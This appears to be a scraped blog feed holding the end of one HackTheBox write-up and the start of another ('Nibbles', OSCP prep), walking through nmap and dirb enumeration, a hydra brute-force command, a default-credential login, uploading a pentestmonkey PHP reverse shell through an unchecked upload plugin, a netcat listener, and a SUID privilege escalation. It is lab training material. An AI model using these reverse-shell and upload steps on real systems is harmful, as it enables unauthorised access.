&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm3je4jr3ku3fugtwqodw.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm3je4jr3ku3fugtwqodw.PNG" alt="Alt Text" width="608" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Change it from a &lt;strong&gt;php&lt;/strong&gt; file to a &lt;strong&gt;jpg&lt;/strong&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr3kw9wxagqujg4imhgaq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr3kw9wxagqujg4imhgaq.PNG" alt="Alt Text" width="318" height="570"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqh55oy52objrpk7i6ez.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqh55oy52objrpk7i6ez.PNG" alt="Alt Text" width="800" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I did some quick GoogleFu and I didn't see any &lt;strong&gt;JPG&lt;/strong&gt; reverse-shells. But when I inspected the page I came across this line of text.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fovhxzwjp18snsag2be5w.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fovhxzwjp18snsag2be5w.PNG" alt="Alt Text" width="800" height="76"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So lets grab a &lt;strong&gt;php-reverse-shell&lt;/strong&gt; then we can update the code to hopefully get a shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;wget &lt;a href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php" rel="noopener noreferrer"&gt;https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;nano php-reverse-shell.php&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Change the IP to your tun0 and the Port IP&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;chmod +x php-reverse-shell.php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkvaocaqxex9poe4lhzwh.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkvaocaqxex9poe4lhzwh.PNG" alt="Alt Text" width="535" height="296"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh37u1kvj68r1eckw4tf.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh37u1kvj68r1eckw4tf.PNG" alt="Alt Text" width="800" height="336"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we are going to change the &lt;strong&gt;php&lt;/strong&gt; file to a &lt;strong&gt;htb&lt;/strong&gt; file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;mv php-reverse-shell.php shell.htb&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9sriwoxz0pecealctk0q.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9sriwoxz0pecealctk0q.PNG" alt="Alt Text" width="800" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's re-upload this back to the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foz99uwbce7cjn15x9sos.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foz99uwbce7cjn15x9sos.PNG" alt="Alt Text" width="800" height="296"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 1234&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Give it a few seconds then you should get access!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsfzt12irn3eljbdmtlo6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsfzt12irn3eljbdmtlo6.PNG" alt="Alt Text" width="800" height="197"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's upgrade the shell using the following scripts &lt;a href="https://netsec.ws/?p=337" rel="noopener noreferrer"&gt;Link&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python -c 'import pty; pty.spawn("/bin/bash")'&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foklwkpc1sl45r30v9ujn.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foklwkpc1sl45r30v9ujn.PNG" alt="Alt Text" width="535" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;whoami&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj8ule21isnahpc2hhxil.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj8ule21isnahpc2hhxil.PNG" alt="Alt Text" width="400" height="128"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Priv Esc
&lt;/h3&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Find / -perm -4000 2&amp;gt;/dev/null&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pvpt93qya7v0bshgkwv.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pvpt93qya7v0bshgkwv.PNG" alt="Alt Text" width="746" height="559"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It appears that the &lt;strong&gt;Emergency&lt;/strong&gt; file should be able to run with the appropriate permissions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;cd /var/htb/bin&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;./emergency&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;whoami&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1g9ewe8ywq5gxjqefmwq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1g9ewe8ywq5gxjqefmwq.PNG" alt="Alt Text" width="636" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now locate the Root/User &lt;strong&gt;.txt&lt;/strong&gt; files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiimq2il0riirm7ksxea1.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiimq2il0riirm7ksxea1.PNG" alt="Alt Text" width="523" height="229"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwf07p9q4rmr11lcl7je.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwf07p9q4rmr11lcl7je.PNG" alt="Alt Text" width="493" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>php</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Nibbles - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Wed, 14 Jul 2021 17:28:53 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-nibbles-without-metasploit-oscp-prep-2k4n</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-nibbles-without-metasploit-oscp-prep-2k4n</guid>
      <description>&lt;p&gt;Hello All,&lt;/p&gt;

&lt;p&gt;I did Nibbles from HacktheBox and providing my write-up!&lt;/p&gt;

&lt;p&gt;Let's get going!&lt;/p&gt;

&lt;p&gt;First we will start with nmap.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -T4 -oN nmap.txt -vvv 10.10.10.75&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;li&gt;-vvv = 9 different levels and will cause Nping to print more information during execution more reading link&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F034r0mbf4goxnkx61mm8.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F034r0mbf4goxnkx61mm8.PNG" alt="Alt Text" width="800" height="36"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After a few moments we get the following result.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvbn6xmrqygjyry4vgom3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvbn6xmrqygjyry4vgom3.PNG" alt="Alt Text" width="800" height="237"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  OpenPorts:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;22 TCP OpenSSH 7.2p2&lt;/li&gt;
&lt;li&gt;80 TCP HTTP Apache HttpD&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So let's head over to the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbv4ffzym2wds0yy3nkvs.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbv4ffzym2wds0yy3nkvs.PNG" alt="Alt Text" width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing too crazy here so lets &lt;strong&gt;right-click&lt;/strong&gt; and open up the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4lho7a5konilcmn0jk7r.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4lho7a5konilcmn0jk7r.PNG" alt="Alt Text" width="722" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you look at the bottom of the page it appears that there is a hidden directory there &lt;strong&gt;/nibbleblog&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkao70zla216y4i8bhltt.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkao70zla216y4i8bhltt.PNG" alt="Alt Text" width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to run &lt;strong&gt;Dirb&lt;/strong&gt; on the original IP that was given to see what is discovered. A hint, it actually doesn't discover that hidden directory that we discovered from our OSINT research. &lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Dirb &lt;a href="http://10.10.10.75/" rel="noopener noreferrer"&gt;http://10.10.10.75/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl6v8vhaj0q1nx9ymyhdu.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl6v8vhaj0q1nx9ymyhdu.PNG" alt="Alt Text" width="755" height="549"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's re-run this from that directory that we found earlier.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dirb &lt;a href="http://10.10.10.75/nibbleblog/" rel="noopener noreferrer"&gt;http://10.10.10.75/nibbleblog/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjfgyed4gyrg1z0rwqyuy.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjfgyed4gyrg1z0rwqyuy.PNG" alt="Alt Text" width="693" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So much more items came up from this search than earlier. Sometimes when you have a good thread to pull on you can get a lot more information than going at it blindly.&lt;/p&gt;

&lt;p&gt;One item sticks out more than anything else which is the &lt;strong&gt;/nibbleblog/admin/&lt;/strong&gt; location. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6k9vtdcnumf184z7knyn.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6k9vtdcnumf184z7knyn.PNG" alt="Alt Text" width="800" height="569"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A whole lot of clicking around later and nothing to show for it so I moved on to some of the other directory's that were discovered from the list. &lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;/admin.php&lt;/strong&gt; stood out as something that could be interesting. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33ynqlgeudi3ht1lnxly.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33ynqlgeudi3ht1lnxly.PNG" alt="Alt Text" width="800" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Going to try and run &lt;strong&gt;Hydra&lt;/strong&gt; on the login window.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;hydra -l admin -P /location of your file -vV -f -t 2 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&amp;amp;password=^PASS^:login_error"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5gqp02pfpibb6z2f6qgn.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5gqp02pfpibb6z2f6qgn.PNG" alt="Alt Text" width="800" height="317"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tried this to get access to the login but it didn't work. &lt;/p&gt;

&lt;p&gt;So I tried &lt;strong&gt;admin:nibbles&lt;/strong&gt; and it actually worked!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwfac6oxhvamtj35d2n40.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwfac6oxhvamtj35d2n40.PNG" alt="Alt Text" width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking around on the page we can see the version number of what we are dealing with.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7g2zfb1bbm46y76u91wb.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7g2zfb1bbm46y76u91wb.PNG" alt="Alt Text" width="782" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to check out &lt;strong&gt;Searchsploit&lt;/strong&gt; to see if there are any exploits we could use on this site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2dzgk9xno44uhcyzqvo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2dzgk9xno44uhcyzqvo.PNG" alt="Alt Text" width="800" height="154"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I don't think a SQL Injection would be of use to us and I don't want to use Metasploit.&lt;/p&gt;

&lt;p&gt;So I am going to google around for the version that we discovered earlier.&lt;/p&gt;

&lt;p&gt;I am came across the following packetstorm entry.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html" rel="noopener noreferrer"&gt;LINK&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When uploading image files via the "My image" plugin, the extension or the actual file type are not checked, thus it is possible to upload PHP files and gain code execution.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1gwqs62rk6jv1ozaem3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1gwqs62rk6jv1ozaem3.PNG" alt="Alt Text" width="678" height="551"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From earlier enumeration we know that &lt;strong&gt;PHP&lt;/strong&gt; is running here so lets go over to &lt;strong&gt;pentestmonkey&lt;/strong&gt; to grab a script.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Git clone &lt;a href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php" rel="noopener noreferrer"&gt;https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Open up the file either using &lt;strong&gt;VIM&lt;/strong&gt; or &lt;strong&gt;NANO&lt;/strong&gt; and take a look/change the following section to your &lt;strong&gt;tun0&lt;/strong&gt; and &lt;strong&gt;port&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5b8rqg7m0tm4si8wfr58.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5b8rqg7m0tm4si8wfr58.PNG" alt="Alt Text" width="798" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's make sure its executable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;chmod +x php-reverse-shell.php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n2n3lji9tk2n43r883s.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n2n3lji9tk2n43r883s.PNG" alt="Alt Text" width="766" height="74"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now if you remember from the PoC that we read above this needs to be uploaded in a certain section.&lt;/p&gt;

